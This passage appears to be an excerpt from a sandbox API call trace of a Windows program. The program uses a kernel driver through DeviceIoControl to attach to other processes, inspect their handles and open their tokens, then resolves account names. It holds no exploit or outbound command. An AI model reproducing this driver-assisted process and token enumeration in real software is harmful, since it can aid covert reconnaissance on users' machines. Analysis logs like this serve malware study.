lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0074.747] PsLookupProcessByProcessId (in: ProcessId=0xa20, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0074.747] PsAcquireProcessExitSynchronization () returned 0x0 [0074.747] KeStackAttachProcess (in: PROCESS=0xfffffa8002104b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002104b30, ApcState=0xfffff880054f85d0) [0074.747] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80021027f0, HandleInformation=0x0) returned 0x0 [0074.747] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0074.747] PsReleaseProcessExitSynchronization () returned 0x2 [0074.747] ObfDereferenceObject (Object=0xfffffa8002104b30) returned 0x10 [0074.747] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80039a2044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80039a2044, ReturnLength=0xfffff880054f8508) returned 0x0 [0074.747] ObfDereferenceObject (Object=0xfffffa80021027f0) returned 0x1 [0074.747] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.747] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0074.747] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0074.747] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x68, lpOverlapped=0x0) returned 1 [0074.747] PsLookupProcessByProcessId (in: ProcessId=0xa20, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0074.747] PsAcquireProcessExitSynchronization () returned 0x0 [0074.747] KeStackAttachProcess (in: PROCESS=0xfffffa8002104b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002104b30, ApcState=0xfffff880054f85d0) [0074.747] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002106800, HandleInformation=0x0) returned 0x0 [0074.747] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0074.747] PsReleaseProcessExitSynchronization () returned 0x2 [0074.747] ObfDereferenceObject (Object=0xfffffa8002104b30) returned 0x10 [0074.747] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800391c044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa800391c044, ReturnLength=0xfffff880054f8508) returned 0x0 [0074.747] ObfDereferenceObject (Object=0xfffffa8002106800) returned 0x1 [0074.747] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.747] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0074.748] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0074.748] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0074.748] PsLookupProcessByProcessId (in: ProcessId=0xa20, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0074.748] PsAcquireProcessExitSynchronization () returned 0x0 [0074.748] KeStackAttachProcess (in: PROCESS=0xfffffa8002104b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002104b30, ApcState=0xfffff880054f85d0) [0074.748] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0074.748] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0074.748] PsReleaseProcessExitSynchronization () returned 0x2 [0074.748] ObfDereferenceObject (Object=0xfffffa8002104b30) returned 0x10 [0074.748] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80038c9044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038c9044, ReturnLength=0xfffff880054f8550) returned 0x0 [0074.748] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4e [0074.748] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.748] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0074.748] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xa30) returned 0xc0 [0074.748] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0074.748] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880054f8668, HandleInformation=0x0 | out: Object=0xfffff880054f8668*=0xfffffa800210f740, HandleInformation=0x0) returned 0x0 [0074.748] ObOpenObjectByPointer (in: Object=0xfffffa800210f740, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff880054f8670 | out: Handle=0xfffff880054f8670*=0xffffffff80000a98) returned 0x0 [0074.748] ObfDereferenceObject (Object=0xfffffa800210f740) returned 0x12 [0074.748] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a98, DesiredAccess=0x8, TokenHandle=0xfffffa8002007b40 | out: TokenHandle=0xfffffa8002007b40*=0xc8) returned 0x0 [0074.748] ZwClose (Handle=0xffffffff80000a98) returned 0x0 [0074.748] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.748] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0074.748] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0074.750] CloseHandle (hObject=0xc8) returned 1 [0074.750] CloseHandle (hObject=0xc0) returned 1 [0074.750] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0074.750] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0074.750] PsLookupProcessByProcessId (in: ProcessId=0xa30, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0074.750] PsAcquireProcessExitSynchronization () returned 0x0 [0074.750] KeStackAttachProcess (in: PROCESS=0xfffffa800210f740, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800210f740, ApcState=0xfffff880054f85d0) [0074.750] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800210f070, HandleInformation=0x0) returned 0x0 [0074.750] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0074.750] PsReleaseProcessExitSynchronization () returned 0x2 [0074.750] ObfDereferenceObject (Object=0xfffffa800210f740) returned 0x10 [0074.750] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80038a0044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80038a0044, ReturnLength=0xfffff880054f8508) returned 0x0 [0074.750] ObfDereferenceObject (Object=0xfffffa800210f070) returned 0x1 [0074.750] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.750] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0074.750] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0074.750] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x6e, lpOverlapped=0x0) returned 1 [0074.750] PsLookupProcessByProcessId (in: ProcessId=0xa30, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0074.750] PsAcquireProcessExitSynchronization () returned 0x0 [0074.750] KeStackAttachProcess (in: PROCESS=0xfffffa800210f740, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800210f740, ApcState=0xfffff880054f85d0) [0074.750] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002111180, HandleInformation=0x0) returned 0x0 [0074.750] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0074.751] PsReleaseProcessExitSynchronization () returned 0x2 [0074.751] ObfDereferenceObject (Object=0xfffffa800210f740) returned 0x10 [0074.751] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800385f044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa800385f044, ReturnLength=0xfffff880054f8508) returned 0x0 [0074.751] ObfDereferenceObject (Object=0xfffffa8002111180) returned 0x1 [0074.751] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.751] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0074.751] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0074.751] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0074.751] PsLookupProcessByProcessId (in: ProcessId=0xa30, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0074.751] PsAcquireProcessExitSynchronization () returned 0x0 [0074.751] KeStackAttachProcess (in: PROCESS=0xfffffa800210f740, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800210f740, ApcState=0xfffff880054f85d0) [0074.751] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0074.751] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0074.751] PsReleaseProcessExitSynchronization () returned 0x2 [0074.751] ObfDereferenceObject (Object=0xfffffa800210f740) returned 0x10 [0074.751] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8003817044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003817044, ReturnLength=0xfffff880054f8550) returned 0x0 [0074.751] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4e [0074.751] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.751] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0074.751] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xa40) returned 0xc0 [0074.751] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0074.751] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880054f8668, HandleInformation=0x0 | out: Object=0xfffff880054f8668*=0xfffffa800211db30, HandleInformation=0x0) returned 0x0 [0074.751] ObOpenObjectByPointer (in: Object=0xfffffa800211db30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff880054f8670 | out: Handle=0xfffff880054f8670*=0xffffffff80000a98) returned 0x0 [0074.751] ObfDereferenceObject (Object=0xfffffa800211db30) returned 0x12 [0074.751] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a98, DesiredAccess=0x8, TokenHandle=0xfffffa8002007b40 | out: TokenHandle=0xfffffa8002007b40*=0xc8) returned 0x0 [0074.751] ZwClose (Handle=0xffffffff80000a98) returned 0x0 [0074.751] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.751] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0074.752] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0074.753] CloseHandle (hObject=0xc8) returned 1 [0074.753] CloseHandle (hObject=0xc0) returned 1 [0074.753] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0074.753] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0074.753] PsLookupProcessByProcessId (in: ProcessId=0xa40, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0074.753] PsAcquireProcessExitSynchronization () returned 0x0 [0074.753] KeStackAttachProcess (in: PROCESS=0xfffffa800211db30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800211db30, ApcState=0xfffff880054f85d0) [0074.753] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800211b720, HandleInformation=0x0) returned 0x0 [0074.753] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0074.753] PsReleaseProcessExitSynchronization () returned 0x2 [0074.753] ObfDereferenceObject (Object=0xfffffa800211db30) returned 0x10 [0074.753] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80037cb044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80037cb044, ReturnLength=0xfffff880054f8508) returned 0x0 [0074.753] ObfDereferenceObject (Object=0xfffffa800211b720) returned 0x1 [0074.753] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.753] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0074.753] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0074.753] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x76, lpOverlapped=0x0) returned 1 [0074.753] PsLookupProcessByProcessId (in: ProcessId=0xa40, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0074.754] PsAcquireProcessExitSynchronization () returned 0x0 [0074.754] KeStackAttachProcess (in: PROCESS=0xfffffa800211db30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800211db30, ApcState=0xfffff880054f85d0) [0074.754] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800211d120, HandleInformation=0x0) returned 0x0 [0074.754] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0074.754] PsReleaseProcessExitSynchronization () returned 0x2 [0074.754] ObfDereferenceObject (Object=0xfffffa800211db30) returned 0x10 [0074.754] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80036c2044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80036c2044, ReturnLength=0xfffff880054f8508) returned 0x0 [0074.754] ObfDereferenceObject (Object=0xfffffa800211d120) returned 0x1 [0074.754] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.754] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0074.754] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0074.754] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0074.754] PsLookupProcessByProcessId (in: ProcessId=0xa40, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0074.754] PsAcquireProcessExitSynchronization () returned 0x0 [0074.754] KeStackAttachProcess (in: PROCESS=0xfffffa800211db30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800211db30, ApcState=0xfffff880054f85d0) [0074.754] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0074.754] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0074.754] PsReleaseProcessExitSynchronization () returned 0x2 [0074.754] ObfDereferenceObject (Object=0xfffffa800211db30) returned 0x10 [0074.754] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80036b4044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80036b4044, ReturnLength=0xfffff880054f8550) returned 0x0 [0074.754] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4e [0074.754] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.754] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0074.754] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xa50) returned 0xc0 [0074.754] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0074.754] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880054f8668, HandleInformation=0x0 | out: Object=0xfffff880054f8668*=0xfffffa8002128740, HandleInformation=0x0) returned 0x0 [0074.754] ObOpenObjectByPointer (in: Object=0xfffffa8002128740, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff880054f8670 | out: Handle=0xfffff880054f8670*=0xffffffff80000a98) returned 0x0 [0074.754] ObfDereferenceObject (Object=0xfffffa8002128740) returned 0x12 [0074.754] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a98, DesiredAccess=0x8, TokenHandle=0xfffffa8002007b40 | out: TokenHandle=0xfffffa8002007b40*=0xc8) returned 0x0 [0074.754] ZwClose (Handle=0xffffffff80000a98) returned 0x0 [0074.755] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.755] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0074.755] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0074.756] CloseHandle (hObject=0xc8) returned 1 [0074.756] CloseHandle (hObject=0xc0) returned 1 [0074.756] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0074.756] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0074.756] PsLookupProcessByProcessId (in: ProcessId=0xa50, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0074.756] PsAcquireProcessExitSynchronization () returned 0x0 [0074.756] KeStackAttachProcess (in: PROCESS=0xfffffa8002128740, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002128740, ApcState=0xfffff880054f85d0) [0074.756] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002128070, HandleInformation=0x0) returned 0x0 [0074.757] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0074.757] PsReleaseProcessExitSynchronization () returned 0x2 [0074.757] ObfDereferenceObject (Object=0xfffffa8002128740) returned 0x10 [0074.757] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800365b044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa800365b044, ReturnLength=0xfffff880054f8508) returned 0x0 [0074.757] ObfDereferenceObject (Object=0xfffffa8002128070) returned 0x1 [0074.757] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.757] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0074.757] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0074.757] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x68, lpOverlapped=0x0) returned 1 [0074.757] PsLookupProcessByProcessId (in: ProcessId=0xa50, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0074.757] PsAcquireProcessExitSynchronization () returned 0x0 [0074.757] KeStackAttachProcess (in: PROCESS=0xfffffa8002128740, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002128740, ApcState=0xfffff880054f85d0) [0074.757] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8001ff4f20, HandleInformation=0x0) returned 0x0 [0074.757] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0074.757] PsReleaseProcessExitSynchronization () returned 0x2 [0074.757] ObfDereferenceObject (Object=0xfffffa8002128740) returned 0x10 [0074.757] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80038d3044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80038d3044, ReturnLength=0xfffff880054f8508) returned 0x0 [0074.757] ObfDereferenceObject (Object=0xfffffa8001ff4f20) returned 0x1 [0074.757] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.757] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0074.757] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0074.757] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0074.757] PsLookupProcessByProcessId (in: ProcessId=0xa50, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0074.757] PsAcquireProcessExitSynchronization () returned 0x0 [0074.757] KeStackAttachProcess (in: PROCESS=0xfffffa8002128740, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002128740, ApcState=0xfffff880054f85d0) [0074.757] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0074.757] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0074.757] PsReleaseProcessExitSynchronization () returned 0x2 [0074.757] ObfDereferenceObject (Object=0xfffffa8002128740) returned 0x10 [0074.757] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80038e2044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038e2044, ReturnLength=0xfffff880054f8550) returned 